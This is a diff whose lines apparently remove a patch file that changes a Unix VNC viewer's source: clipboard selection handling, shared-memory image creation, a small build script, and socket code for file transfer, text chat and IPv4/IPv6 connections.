-+ if (w || clientData || selection || type || value || length || format) {}
- }
-
-
-@@ -209,16 +226,17 @@
- */
-
- static void
--SendCutBuffer()
--{
-- char *str;
-- int len;
-+SendCutBuffer() {
-+ char *str;
-+ int len;
-
-- str = XFetchBytes(dpy, &len);
-- if (!str) return;
-+ if (dbg_sel) fprintf(stderr, "SendCutBuffer len: %d\n", len);
-
-- SendClientCutText(str, len);
-- XFree(str);
-+ str = XFetchBytes(dpy, &len);
-+ if (!str) return;
-+
-+ SendClientCutText(str, len);
-+ XFree(str);
- }
-
-
-@@ -230,10 +248,12 @@
- static void
- CutBufferChange(Widget w, XtPointer ptr, XEvent *ev, Boolean *cont)
- {
-- if (ev->type != PropertyNotify || ev->xproperty.atom != XA_CUT_BUFFER0)
-- return;
-+ if (ev->type != PropertyNotify || ev->xproperty.atom != XA_CUT_BUFFER0) {
-+ return;
-+ }
-
-- cutBufferTime = ev->xproperty.time;
-+ cutBufferTime = ev->xproperty.time;
-+ if (w || ptr || cont) {}
- }
-
-
-@@ -249,36 +269,69 @@
- void
- SelectionFromVNC(Widget w, XEvent *event, String *params, Cardinal *num_params)
- {
-- Bool always = False;
-- Time t = TimeFromEvent(event);
--
-- if (*num_params != 0) {
-- if (strcmp(params[0],"always") == 0) {
-- always = True;
-- } else if (strcmp(params[0],"new") == 0) {
-- always = False;
-- } else {
-- fprintf(stderr,"Invalid params: SelectionFromVNC(always|new)\n");
-- return;
-- }
-- }
--
-- if (t == CurrentTime) {
-- fprintf(stderr,"Error in translations: SelectionFromVNC() must act on "
-- "event with time field\n");
-- return;
-- }
--
-- if (!serverCutText || (!always && !newServerCutText))
-- return;
--
-- newServerCutText = False;
--
-- XStoreBytes(dpy, serverCutText, strlen(serverCutText));
-- if (XtOwnSelection(desktop, XA_PRIMARY, t, ConvertSelection, LoseSelection,
-- NULL)) {
-- iAmSelectionOwner = True;
-- }
-+ Bool always = False;
-+ Time t = TimeFromEvent(event);
-+ int hold_primary = 0;
-+ int hold_clipboard = 0;
-+
-+ if (dbg_sel) fprintf(stderr, "SelectionFromVNC\n");
-+
-+ if (*num_params != 0) {
-+ if (strcmp(params[0],"always") == 0) {
-+ always = True;
-+ } else if (strcmp(params[0],"new") == 0) {
-+ always = False;
-+ } else {
-+ fprintf(stderr,"Invalid params: SelectionFromVNC(always|new)\n");
-+ return;
-+ }
-+ }
-+
-+ if (t == CurrentTime) {
-+ fprintf(stderr,"Error in translations: SelectionFromVNC() must act on "
-+ "event with time field\n");
-+ return;
-+ }
-+
-+ if (!serverCutText || (!always && !newServerCutText)) {
-+ return;
-+ }
-+
-+ newServerCutText = False;
-+
-+ if (appData.appShare) {
-+ if (strstr(serverCutText, "X11VNC_APPSHARE_CMD:") == serverCutText) {
-+ /* do something with it? */
-+ return;
-+ }
-+ }
-+
-+ XStoreBytes(dpy, serverCutText, strlen(serverCutText));
-+
-+ if (appData.recvText == NULL) {
-+ appData.recvText = strdup("both");
-+ }
-+ if (!strcasecmp(appData.recvText, "primary")) {
-+ hold_primary = 1;
-+ } else if (!strcasecmp(appData.recvText, "clipboard")) {
-+ hold_clipboard = 1;
-+ } else {
-+ hold_primary = hold_clipboard = 1;
-+ }
-+
-+ if (!hold_primary) {
-+ ;
-+ } else if (XtOwnSelection(desktop, XA_PRIMARY, t, ConvertSelection, LoseSelection, NULL)) {
-+ PrimarySelectionOwner = True;
-+ if (dbg_sel) fprintf(stderr, "Own PRIMARY\n");
-+ }
-+ if (!hold_clipboard || clipboard_atom == None) {
-+ ;
-+ } else if (XtOwnSelection(desktop, clipboard_atom, t, ConvertSelection, LoseSelection, NULL)) {
-+ ClipboardSelectionOwner = True;
-+ if (dbg_sel) fprintf(stderr, "Own CLIPBOARD\n");
-+ }
-+ if (w || event || params || num_params) {}
- }
-
-
-@@ -293,37 +346,36 @@
- XtPointer* value, unsigned long* length, int* format)
- {
-
-- if (*target == XA_STRING && serverCutText != NULL) {
-- *type = XA_STRING;
-- *length = strlen(serverCutText);
-- *value = (XtPointer)XtMalloc(*length);
-- memcpy((char*)*value, serverCutText, *length);
-- *format = 8;
-- return True;
-- }
-+ if (*target == XA_STRING && serverCutText != NULL) {
-+ *type = XA_STRING;
-+ *length = strlen(serverCutText);
-+ *value = (XtPointer)XtMalloc(*length);
-+ memcpy((char*)*value, serverCutText, *length);
-+ *format = 8;
-+ return True;
-+ }
-
-- if (XmuConvertStandardSelection(w, CurrentTime, selection, target, type,
-+ if (XmuConvertStandardSelection(w, CurrentTime, selection, target, type,
- (XPointer*)value, length, format)) {
-- if (*target == XInternAtom(dpy, "TARGETS", False)) {
-- /* add STRING to list of standard targets */
-- Atom* targetP;
-- Atom* std_targets = (Atom*)*value;
-- unsigned long std_length = *length;
--
-- *length = std_length + 1;
-- *value = (XtPointer)XtMalloc(sizeof(Atom)*(*length));
-- targetP = *(Atom**)value;
-- *targetP++ = XA_STRING;
-- memmove((char*)targetP, (char*)std_targets, sizeof(Atom)*std_length);
-- XtFree((char*)std_targets);
-- *type = XA_ATOM;
-- *format = 32;
-- return True;
-- }
--
-- return True;
-- }
-- return False;
-+ if (*target == XInternAtom(dpy, "TARGETS", False)) {
-+ /* add STRING to list of standard targets */
-+ Atom* targetP;
-+ Atom* std_targets = (Atom*)*value;
-+ unsigned long std_length = *length;
-+
-+ *length = std_length + 1;
-+ *value = (XtPointer)XtMalloc(sizeof(Atom)*(*length));
-+ targetP = *(Atom**)value;
-+ *targetP++ = XA_STRING;
-+ memmove((char*)targetP, (char*)std_targets, sizeof(Atom)*std_length);
-+ XtFree((char*)std_targets);
-+ *type = XA_ATOM;
-+ *format = 32;
-+ return True;
-+ }
-+ return True;
-+ }
-+ return False;
- }
-
-
-@@ -332,7 +384,13 @@
- */
-
- static void
--LoseSelection(Widget w, Atom *selection)
--{
-- iAmSelectionOwner = False;
-+LoseSelection(Widget w, Atom *selection) {
-+ if (*selection == XA_PRIMARY) {
-+ if (dbg_sel) fprintf(stderr, "lost PRIMARY\n");
-+ PrimarySelectionOwner = False;
-+ } else if (clipboard_atom != None && *selection == clipboard_atom) {
-+ if (dbg_sel) fprintf(stderr, "lost CLIPBOARD\n");
-+ ClipboardSelectionOwner = False;
-+ }
-+ if (w) {}
- }
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/shm.c vnc_unixsrc/vncviewer/shm.c
---- vnc_unixsrc.orig/vncviewer/shm.c 2000-06-11 08:00:53.000000000 -0400
-+++ vnc_unixsrc/vncviewer/shm.c 2010-02-25 23:40:58.000000000 -0500
-@@ -30,71 +30,113 @@
- static Bool caughtShmError = False;
- static Bool needShmCleanup = False;
-
--void
--ShmCleanup()
--{
-- fprintf(stderr,"ShmCleanup called\n");
-- if (needShmCleanup) {
-- shmdt(shminfo.shmaddr);
-- shmctl(shminfo.shmid, IPC_RMID, 0);
-- needShmCleanup = False;
-- }
-+static int ShmCreationXErrorHandler(Display *dpy, XErrorEvent *error) {
-+ caughtShmError = True;
-+ if (dpy || error) {}
-+ return 0;
- }
-
--static int
--ShmCreationXErrorHandler(Display *dpy, XErrorEvent *error)
--{
-- caughtShmError = True;
-- return 0;
-+void ShmDetach() {
-+ if (needShmCleanup) {
-+ XErrorHandler oldXErrorHandler = XSetErrorHandler(ShmCreationXErrorHandler);
-+ fprintf(stderr,"ShmDetach called.\n");
-+ XShmDetach(dpy, &shminfo);
-+ XSync(dpy, False);
-+ XSetErrorHandler(oldXErrorHandler);
-+ }
- }
-
--XImage *
--CreateShmImage()
--{
-- XImage *image;
-- XErrorHandler oldXErrorHandler;
--
-- if (!XShmQueryExtension(dpy))
-- return NULL;
--
-- image = XShmCreateImage(dpy, vis, visdepth, ZPixmap, NULL, &shminfo,
-- si.framebufferWidth, si.framebufferHeight);
-- if (!image) return NULL;
--
-- shminfo.shmid = shmget(IPC_PRIVATE,
-- image->bytes_per_line * image->height,
-- IPC_CREAT|0777);
-+void ShmCleanup() {
-+ if (needShmCleanup) {
-+ fprintf(stderr,"ShmCleanup called.\n");
-+ XSync(dpy, False);
-+ shmdt(shminfo.shmaddr);
-+ shmctl(shminfo.shmid, IPC_RMID, 0);
-
-- if (shminfo.shmid == -1) {
-- XDestroyImage(image);
-- return NULL;
-- }
--
-- shminfo.shmaddr = image->data = shmat(shminfo.shmid, 0, 0);
--
-- if (shminfo.shmaddr == (char *)-1) {
-- XDestroyImage(image);
-- shmctl(shminfo.shmid, IPC_RMID, 0);
-- return NULL;
-- }
-+ needShmCleanup = False;
-+ }
-+}
-
-- shminfo.readOnly = True;
-+Bool UsingShm() {
-+ return needShmCleanup;
-+}
-
-- oldXErrorHandler = XSetErrorHandler(ShmCreationXErrorHandler);
-- XShmAttach(dpy, &shminfo);
-- XSync(dpy, False);
-- XSetErrorHandler(oldXErrorHandler);
-+int scale_round(int len, double fac);
-+extern int scale_x, scale_y;
-+extern double scale_factor_x, scale_factor_y;
-
-- if (caughtShmError) {
-- XDestroyImage(image);
-- shmdt(shminfo.shmaddr);
-- shmctl(shminfo.shmid, IPC_RMID, 0);
-- return NULL;
-- }
-+XImage *
-+CreateShmImage(int do_ycrop)
-+{
-+ XImage *image;
-+ XErrorHandler oldXErrorHandler;
-+ int ymax = si.framebufferHeight;
-+ int xmax = si.framebufferWidth;
-+
-+ if (!XShmQueryExtension(dpy)) {
-+ return NULL;
-+ }
-+ if (!appData.useShm) {
-+ return NULL;
-+ }
-+ if (do_ycrop == -1) {
-+ /* kludge to test for shm prescence */
-+ return (XImage *) 0x1;
-+ }
-+
-+ if (do_ycrop) {
-+ ymax = appData.yCrop;
-+ }
-+
-+ if (scale_x > 0) {
-+ xmax = scale_round(xmax, scale_factor_x);
-+ ymax = scale_round(ymax, scale_factor_y);
-+ }
-+
-+ image = XShmCreateImage(dpy, vis, visdepth, ZPixmap, NULL, &shminfo, xmax, ymax);
-+ if (!image) {
-+ return NULL;
-+ }
-+
-+ shminfo.shmid = shmget(IPC_PRIVATE, image->bytes_per_line * image->height, IPC_CREAT|0777);
-+
-+ if (shminfo.shmid == -1) {
-+ XDestroyImage(image);
-+ if (0) fprintf(stderr, "CreateShmImage: destroyed 'image' (1)\n");
-+ return NULL;
-+ }
-+
-+ shminfo.shmaddr = image->data = shmat(shminfo.shmid, 0, 0);
-+
-+ if (shminfo.shmaddr == (char *)-1) {
-+ XDestroyImage(image);
-+#if 0
-+ fprintf(stderr, "CreateShmImage: destroyed 'image' (2)\n");
-+#endif
-+ shmctl(shminfo.shmid, IPC_RMID, 0);
-+ return NULL;
-+ }
-+
-+ shminfo.readOnly = True;
-+
-+ oldXErrorHandler = XSetErrorHandler(ShmCreationXErrorHandler);
-+ XShmAttach(dpy, &shminfo);
-+ XSync(dpy, False);
-+ XSetErrorHandler(oldXErrorHandler);
-+
-+ if (caughtShmError) {
-+ XDestroyImage(image);
-+#if 0
-+ fprintf(stderr, "CreateShmImage: destroyed 'image' (3)\n");
-+#endif
-+ shmdt(shminfo.shmaddr);
-+ shmctl(shminfo.shmid, IPC_RMID, 0);
-+ return NULL;
-+ }
-
-- needShmCleanup = True;
-+ needShmCleanup = True;
-
-- fprintf(stderr,"Using shared memory PutImage\n");
-+ fprintf(stderr,"Using shared memory (PutImage ycrop=%d, Size %dx%d)\n", do_ycrop, xmax, ymax);
-
-- return image;
-+ return image;
- }
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/smake vnc_unixsrc/vncviewer/smake
---- vnc_unixsrc.orig/vncviewer/smake 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/smake 2007-02-19 12:28:05.000000000 -0500
-@@ -0,0 +1,11 @@
-+#!/bin/sh
-+
-+PATH=`pwd`/../..:/usr/sfw/bin:/usr/ccs/bin:$PATH
-+export PATH
-+if [ "X$1" != "X" ]; then
-+ "$@"
-+else
-+ make
-+ strip vncviewer
-+ ls -l vncviewer
-+fi
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/sockets.c vnc_unixsrc/vncviewer/sockets.c
---- vnc_unixsrc.orig/vncviewer/sockets.c 2001-01-14 22:54:18.000000000 -0500
-+++ vnc_unixsrc/vncviewer/sockets.c 2010-04-18 11:41:07.000000000 -0400
-@@ -22,17 +22,31 @@
- */
-
- #include <unistd.h>
-+#include <time.h>
- #include <sys/socket.h>
- #include <errno.h>
- #include <netinet/in.h>
- #include <netinet/tcp.h>
- #include <arpa/inet.h>
-+#include <sys/un.h>
- #include <netdb.h>
- #include <fcntl.h>
- #include <assert.h>
- #include <vncviewer.h>
-
-+#ifndef SOL_IPV6
-+#ifdef IPPROTO_IPV6
-+#define SOL_IPV6 IPPROTO_IPV6
-+#endif
-+#endif
-+
-+/* Solaris (sysv?) needs INADDR_NONE */
-+#ifndef INADDR_NONE
-+#define INADDR_NONE ((in_addr_t) 0xffffffff)
-+#endif
-+
- void PrintInHex(char *buf, int len);
-+extern void printChat(char *, Bool);
-
- Bool errorMessageOnReadFailure = True;
-
-@@ -56,31 +70,396 @@
- */
-
- static Bool rfbsockReady = False;
-+static Bool xfrsockReady = False;
-+static XtInputId rfbsockId = 0;
-+static XtInputId xfrsockId = 0;
-+static int do_rfbsockId = 0;
-+static int do_xfrsockId = 0;
-+
- static void
- rfbsockReadyCallback(XtPointer clientData, int *fd, XtInputId *id)
- {
-- rfbsockReady = True;
-- XtRemoveInput(*id);
-+ rfbsockReady = True;
-+#if 0
-+ XtRemoveInput(*id);
-+#endif
-+ XtRemoveInput(rfbsockId);
-+ if (do_xfrsockId) {
-+ XtRemoveInput(xfrsockId);
-+ }
-+ if (clientData || fd || id) {}
- }
-
- static void
--ProcessXtEvents()
-+xfrsockReadyCallback(XtPointer clientData, int *fd, XtInputId *id)
- {
-- rfbsockReady = False;
-- XtAppAddInput(appContext, rfbsock, (XtPointer)XtInputReadMask,
-- rfbsockReadyCallback, NULL);
-- while (!rfbsockReady) {
-- XtAppProcessEvent(appContext, XtIMAll);
-- }
-+ xfrsockReady = True;
-+ XtRemoveInput(xfrsockId);
-+ if (do_rfbsockId) {
-+ XtRemoveInput(rfbsockId);
-+ }
-+ if (clientData || fd || id) {}
-+}
-+
-+
-+extern int skip_XtUpdate;
-+extern int skip_XtUpdateAll;
-+extern int filexfer_sock, filexfer_listen;
-+extern time_t start_listen;
-+extern void CheckTextInput(void);
-+extern time_t last_filexfer;
-+
-+static char fxfer[65536];
-+int fxfer_size = 65536;
-+
-+int rfbsock_is_ready(void) {
-+ fd_set fds;
-+ struct timeval tv;
-+
-+ if (rfbsock < 0) {
-+ return 0;
-+ }
-+ FD_ZERO(&fds);
-+ FD_SET(rfbsock,&fds);
-+ tv.tv_sec = 0;
-+ tv.tv_usec = 0;
-+ if (select(rfbsock+1, &fds, NULL, NULL, &tv) > 0) {
-+ if (FD_ISSET(rfbsock, &fds)) {
-+ return 1;
-+ }
-+ }
-+ return 0;
-+}
-+
-+time_t filexfer_start = 0;
-+
-+void CheckFileXfer() {
-+ fd_set fds;
-+ struct timeval tv;
-+ int i, icnt = 0, igot = 0, bytes0 = 0, bytes = 0, grace = 0, n, list = 0;
-+ int db = 0;
-+
-+ if (!appData.fileActive || (filexfer_sock < 0 && filexfer_listen < 0)) {
-+ return;
-+ }
-+
-+ if (filexfer_listen >= 0 && time(NULL) > start_listen + 30) {
-+ fprintf(stderr, "filexfer closing aging listen socket.\n");
-+ close(filexfer_listen);
-+ filexfer_listen = -1;
-+ return;
-+ }
-+if (0) fprintf(stderr, "In CheckFileXfer\n");
-+
-+ if (filexfer_listen >=0) {
-+ n = filexfer_listen;
-+ list = 1;
-+ } else {
-+ n = filexfer_sock;
-+ }
-+
-+ while (1) {
-+ icnt++;
-+ FD_ZERO(&fds);
-+ FD_SET(n,&fds);
-+ tv.tv_sec = 0;
-+ tv.tv_usec = 0;
-+ if (select(n+1, &fds, NULL, NULL, &tv) > 0) {
-+ if (FD_ISSET(n, &fds)) {
-+ if (list) {
-+ if (filexfer_sock >= 0) {
-+ fprintf(stderr, "filexfer close stale(?) filexfer_sock.\n");
-+ close(filexfer_sock);
-+ filexfer_sock = -1;
-+ }
-+ filexfer_sock = AcceptTcpConnection(filexfer_listen);
-+ if (filexfer_sock >= 0) {
-+ fprintf(stderr, "filexfer accept OK.\n");
-+ close(filexfer_listen);
-+ filexfer_listen = -1;
-+ filexfer_start = last_filexfer = time(NULL);
-+ } else {
-+ fprintf(stderr, "filexfer accept failed.\n");
-+ }
-+ break;
-+ } else {
-+ ssize_t rn;
-+ unsigned char hdr[12];
-+ unsigned int len;
-+ if (db) fprintf(stderr, "try read filexfer...\n");
-+ if (hdr || len || i) {}
-+#if 1
-+ rn = read(n, fxfer, 1*8192);
-+if (db) {
-+ int i;
-+ fprintf(stderr, "CFX HDR:");
-+ for (i=0; i < 12; i++) {
-+ fprintf(stderr, " %d", (int) fxfer[i]);
-+ }
-+ fprintf(stderr, " ?\n");
-+}
-+ if (0 || db) fprintf(stderr, "filexfer read[%d] %d.\n", icnt, rn);
-+ if (rn < 0) {
-+ fprintf(stderr, "filexfer bad read: %d\n", errno);
-+ break;
-+ } else if (rn == 0) {
-+ fprintf(stderr, "filexfer gone.\n");
-+ close(n);
-+ filexfer_sock = -1;
-+ last_filexfer = time(NULL);
-+#if 0
-+ fprintf(stderr, "last_filexfer-2a: %d\n", last_filexfer);
-+#endif
-+ appData.fileActive = False;
-+ SendFramebufferUpdateRequest(0, 0, 1, 1, False);
-+ return;
-+ } else if (rn > 0) {
-+ if (db > 1) write(2, fxfer, rn);
-+ if (db) fprintf(stderr, "\n");
-+ bytes += rn;
-+ last_filexfer = time(NULL);
-+#if 0
-+ fprintf(stderr, "last_filexfer-2b: %d\n", last_filexfer);
-+#endif
-+
-+ if (0) {
-+ /* WE TRY TO FIX THIS IN THE JAVA NOW */
-+ if (appData.ultraDSM) {
-+ unsigned char msg = rfbFileTransfer;
-+ unsigned char hdc = (unsigned char) fxfer[0];
-+ if (msg == hdc) {
-+ /* cross your fingers... */
-+ WriteExact(rfbsock, (char *)&msg, 1);
-+ }
-+ }
-+ }
-+ if (!WriteExact(rfbsock, fxfer, rn)) {
-+ return;
-+ }
-+ igot = 1;
-+ }
-+#else
-+ /* not working, not always 7 msg type. */
-+ rn = read(n, hdr, 12);
-+ if (db) fprintf(stderr, "filexfer read %d.\n", rn);
-+ if (rn == 0) {
-+ fprintf(stderr, "filexfer gone.\n");
-+ close(n);
-+ filexfer_sock = -1;
-+ last_filexfer = time(NULL);
-+ return;
-+ }
-+ if (rn == 12) {
-+ len = (hdr[8] << 24) | (hdr[9] << 16) | (hdr[10] << 8) | hdr[11];
-+ if (db) fprintf(stderr, "n=%d len=%d\n", rn, len);
-+ if (db > 1) write(2, hdr, rn);
-+ if (db) fprintf(stderr, "\n");
-+ WriteExact(rfbsock, hdr, rn);
-+ if (len > 0) {
-+ rn = read(len, fxfer, len);
-+ if (!WriteExact(rfbsock, fxfer, len)) {
-+ last_filexfer = time(NULL);
-+ return;
-+ }
-+ if (db > 1) write(2, fxfer, len);
-+ }
-+ if (db) fprintf(stderr, "\n");
-+ } else {
-+ if (db) fprintf(stderr, "bad rn: %d\n", rn);
-+ }
-+ igot = 1;
-+#endif
-+ }
-+ }
-+ } else {
-+ if (bytes >= 8192) {
-+ int ok = 0;
-+ if (bytes0 == 0) {
-+ ok = 1;
-+ } else if (bytes >= bytes0 + 12) {
-+ ok = 1;
-+ } else if (grace < 20) {
-+ ok = 1;
-+ }
-+ if (ok) {
-+ grace++;
-+ bytes0 = bytes;
-+#if 0
-+ fprintf(stderr, "grace: %d\n", grace);
-+ /* forgot that this is about... */
-+#endif
-+ usleep(10 * 1000);
-+ continue;
-+ }
-+ }
-+ break;
-+ }
-+ }
-+ if (igot) {
-+ last_filexfer = time(NULL);
-+#if 0
-+ fprintf(stderr, "last_filexfer-2c: %d\n", last_filexfer);
-+#endif
-+ }
-+#if 0
-+fprintf(stderr, "Out CheckFileXfer\n");
-+#endif
-+ return;
-+}
-+
-+static void check_term_chat(void) {
-+ fd_set fds;
-+ struct timeval tv;
-+ int i, igot = -1, n = fileno(stdin);
-+ char strs[100][512];
-+ char buf[rfbTextMaxSize];
-+
-+ for (i=0; i < 100; i++) {
-+ FD_ZERO(&fds);
-+ FD_SET(n,&fds);
-+ tv.tv_sec = 0;
-+ tv.tv_usec = 0;
-+ if (select(n+1, &fds, NULL, NULL, &tv) > 0) {
-+ if (FD_ISSET(n, &fds)) {
-+ fgets(strs[i], 512, stdin);
-+ igot = i;
-+ } else {
-+ break;
-+ }
-+ } else {
-+ break;
-+ }
-+ }
-+ buf[0] = '\0';
-+ for (i=0; i <= igot; i++) {
-+ if (strlen(buf) + strlen(strs[i]) < rfbTextMaxSize) {
-+ strcat(buf, strs[i]);
-+ } else {
-+ SendTextChat(buf);
-+ buf[0] = '0';
-+ }
-+ }
-+ if (buf[0] != '\0') {
-+ SendTextChat(buf);
-+ }
-+ if (igot >= 0) printChat("Send: ", False);
-+}
-+
-+static time_t time_mark;
-+extern int delay_filexfer;
-+#include <sys/stat.h>
-+
-+extern double start_time;
-+
-+void ProcessXtEvents()
-+{
-+ int db = 0;
-+ static int dyn = -1;
-+ static int chat_was_active = 0;
-+ int check_chat = 0;
-+
-+ if (dyn < 0) {
-+ struct stat sb;
-+ if (getenv("USER") && !strcmp(getenv("USER"), "runge")) {
-+ if (stat("/tmp/nodyn", &sb) == 0) {
-+ putenv("NOFTFBUPDATES=1");
-+ unlink("/tmp/nodyn");
-+ }
-+ }
-+ if (getenv("NOFTFBUPDATES")) {
-+ dyn = 0;
-+ } else {
-+ dyn = 1;
-+ }
-+ }
-+
-+#if 0
-+ if (0) fprintf(stderr, "ProcessXtEvents: %d %.4f\n", skip_XtUpdateAll, dnow() - start_time);
-+#endif
-+
-+ if (skip_XtUpdateAll) {
-+ return;
-+ }
-+
-+ /* text chat */
-+ if (appData.chatActive ) {
-+ check_chat = 1;
-+ } else if (chat_was_active) {
-+ static double last_check = 0.0;
-+ double now = dnow();
-+ if (now > last_check + 0.75) {
-+ check_chat = 1;
-+ last_check = now;
-+ }
-+ }
-+ if (check_chat) {
-+ if (appData.chatActive) {
-+ chat_was_active = 1;
-+ }
-+ if (!appData.termChat) {
-+ CheckTextInput();
-+ } else {
-+ check_term_chat();
-+ }
-+ }
-+
-+ if (skip_XtUpdate) {
-+ return;
-+ }
-+
-+ rfbsockReady = False;
-+ xfrsockReady = False;
-+ do_rfbsockId = 1;
-+ rfbsockId = XtAppAddInput(appContext, rfbsock, (XtPointer)XtInputReadMask,
-+ rfbsockReadyCallback, NULL);
-+
-+ do_xfrsockId = 0;
-+ if (filexfer_sock >= 0) {
-+ do_xfrsockId = 1;
-+ xfrsockId = XtAppAddInput(appContext, filexfer_sock, (XtPointer)XtInputReadMask,
-+ xfrsockReadyCallback, NULL);
-+ }
-+
-+ time_mark = time(NULL);
-+
-+ if (appData.fileActive) {
-+ static int first = 1;
-+ if (first) {
-+ fprintf(stderr, "PXT: dynamic fb updates during filexfer: %d\n", dyn);
-+ first = 0;
-+ }
-+ }
-+
-+ if (db) fprintf(stderr, "XtAppAddInput: ");
-+ while (!rfbsockReady && !xfrsockReady) {
-+ int w = si.framebufferWidth;
-+ int h = si.framebufferHeight;
-+ if (db) fprintf(stderr, ".");
-+ if (dyn && filexfer_sock >= 0 && time(NULL) > time_mark + delay_filexfer) {
-+ SendFramebufferUpdateRequest(0, 0, w, h, False);
-+ }
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+ if (db) fprintf(stderr, " done. r: %d x: %d\n", rfbsockReady, xfrsockReady);
-+
-+ if (xfrsockReady) {
-+ CheckFileXfer();
-+ }
- }
-
- Bool
- ReadFromRFBServer(char *out, unsigned int n)
- {
-+#if 0
-+ double start = dnow(), dn = n;
-+#endif
- if (n <= buffered) {
- memcpy(out, bufoutptr, n);
- bufoutptr += n;
- buffered -= n;
-+#if 0
-+fprintf(stderr, "R0: %06d\n", (int) dn);
-+#endif
- return True;
- }
-
-@@ -119,6 +498,9 @@
- memcpy(out, bufoutptr, n);
- bufoutptr += n;
- buffered -= n;
-+#if 0
-+fprintf(stderr, "R1: %06d %06d %10.2f KB/sec\n", (int) dn, buffered+n, 1e-3 * (buffered+n)/(dnow() - start));
-+#endif
- return True;
-
- } else {
-@@ -146,11 +528,16 @@
- n -= i;
- }
-
-+#if 0
-+fprintf(stderr, "R2: %06d %06d %10.2f KB/sec\n", (int) dn, (int) dn, 1e-3 * (dn)/(dnow() - start));
-+#endif
- return True;
- }
- }
-
-
-+int currentMsg = -1;
-+
- /*
- * Write an exact number of bytes, and don't return until you've sent them.
- */
-@@ -158,81 +545,321 @@
- Bool
- WriteExact(int sock, char *buf, int n)
- {
-- fd_set fds;
-- int i = 0;
-- int j;
--
-- while (i < n) {
-- j = write(sock, buf + i, (n - i));
-- if (j <= 0) {
-- if (j < 0) {
-- if (errno == EWOULDBLOCK || errno == EAGAIN) {
-- FD_ZERO(&fds);
-- FD_SET(rfbsock,&fds);
-+ fd_set fds;
-+ int i = 0;
-+ int j;
-+
-+ if (appData.ultraDSM && currentMsg >= 0) {
-+ /* this is for goofy UltraVNC DSM send RFB msg char twice: */
-+ unsigned char msg = (unsigned char) currentMsg;
-+ currentMsg = -1;
-+ if (!WriteExact(sock, (char *)&msg, sizeof(msg))) {
-+ return False;
-+ }
-+ }
-+ currentMsg = -1;
-
-- if (select(rfbsock+1, NULL, &fds, NULL, NULL) <= 0) {
-- fprintf(stderr,programName);
-- perror(": select");
-- return False;
-- }
-- j = 0;
-- } else {
-- fprintf(stderr,programName);
-- perror(": write");
-- return False;
-+ while (i < n) {
-+ j = write(sock, buf + i, (n - i));
-+ if (j <= 0) {
-+ if (j < 0) {
-+ if (errno == EWOULDBLOCK || errno == EAGAIN) {
-+ FD_ZERO(&fds);
-+ FD_SET(rfbsock,&fds);
-+
-+ if (select(rfbsock+1, NULL, &fds, NULL, NULL) <= 0) {
-+ fprintf(stderr,programName);
-+ perror(": select");
-+ return False;
-+ }
-+ j = 0;
-+ } else {
-+ fprintf(stderr,programName);
-+ perror(": write");
-+ return False;
-+ }
-+ } else {
-+ fprintf(stderr,"%s: write failed\n",programName);
-+ return False;
-+ }
-+ }
-+ i += j;
- }
-- } else {
-- fprintf(stderr,"%s: write failed\n",programName);
-- return False;
-- }
-- }
-- i += j;
-- }
-- return True;
-+ return True;
- }
-
-+int
-+ConnectToUnixSocket(char *file) {
-+ int sock;
-+ struct sockaddr_un addr;
-+ int i;
-+
-+ memset(&addr, 0, sizeof(struct sockaddr_un));
-+
-+ addr.sun_family = AF_UNIX;
-+
-+ for (i=0; i < 108; i++) {
-+ addr.sun_path[i] = file[i];
-+ if (file[i] == '\0') {
-+ break;
-+ }
-+ }
-+
-+ sock = socket(AF_UNIX, SOCK_STREAM, 0);
-+ if (sock < 0) {
-+ fprintf(stderr,programName);
-+ perror(": ConnectToUnixSocket: socket");
-+ return -1;
-+ }
-+
-+ if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-+ fprintf(stderr, programName);
-+ perror(": ConnectToUnixSocket: connect");
-+ close(sock);
-+ return -1;
-+ }
-+
-+ return sock;
-+}
-+
-+char *ipv6_getipaddr(struct sockaddr *paddr, int addrlen) {
-+#if defined(AF_INET6) && defined(NI_NUMERICHOST)
-+ char name[200];
-+ if (appData.noipv6) {
-+ return strdup("unknown");
-+ }
-+ if (getnameinfo(paddr, addrlen, name, sizeof(name), NULL, 0, NI_NUMERICHOST) == 0) {
-+ return strdup(name);
-+ }
-+#endif
-+ if (paddr || addrlen) {}
-+ return strdup("unknown");
-+}
-+
-+char *ipv6_getnameinfo(struct sockaddr *paddr, int addrlen) {
-+#if defined(AF_INET6)
-+ char name[200];
-+ if (appData.noipv6) {
-+ return strdup("unknown");
-+ }
-+ if (getnameinfo(paddr, addrlen, name, sizeof(name), NULL, 0, 0) == 0) {
-+ return strdup(name);
-+ }
-+#endif
-+ if (paddr || addrlen) {}
-+ return strdup("unknown");
-+}
-+
-+int dotted_ip(char *host, int partial) {
-+ int len, dots = 0;
-+ char *p = host;
-+
-+ if (!host) {
-+ return 0;
-+ }
-+
-+ if (!isdigit((unsigned char) host[0])) {
-+ return 0;
-+ }
-+
-+ len = strlen(host);
-+ if (!partial && !isdigit((unsigned char) host[len-1])) {
-+ return 0;
-+ }
-+
-+ while (*p != '\0') {
-+ if (*p == '.') dots++;
-+ if (*p == '.' || isdigit((unsigned char) (*p))) {
-+ p++;
-+ continue;
-+ }
-+ return 0;
-+ }
-+ if (!partial && dots != 3) {
-+ return 0;
-+ }
-+ return 1;
-+}
-
- /*
- * ConnectToTcpAddr connects to the given TCP port.
- */
-
--int
--ConnectToTcpAddr(unsigned int host, int port)
--{
-- int sock;
-- struct sockaddr_in addr;
-- int one = 1;
--
-- addr.sin_family = AF_INET;
-- addr.sin_port = htons(port);
-- addr.sin_addr.s_addr = host;
-+int ConnectToTcpAddr(const char *hostname, int port) {
-+ int sock = -1, one = 1;
-+ unsigned int host;
-+ struct sockaddr_in addr;
-+
-+ if (appData.noipv4) {
-+ fprintf(stderr, "ipv4 is disabled via VNCVIEWER_NO_IPV4/-noipv4.\n");
-+ goto try6;
-+ }
-
-- sock = socket(AF_INET, SOCK_STREAM, 0);
-- if (sock < 0) {
-- fprintf(stderr,programName);
-- perror(": ConnectToTcpAddr: socket");
-- return -1;
-- }
-+ if (!StringToIPAddr(hostname, &host)) {
-+ fprintf(stderr, "Could not convert '%s' to ipv4 host address.\n", hostname);
-+ goto try6;
-+ }
-
-- if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-- fprintf(stderr,programName);
-- perror(": ConnectToTcpAddr: connect");
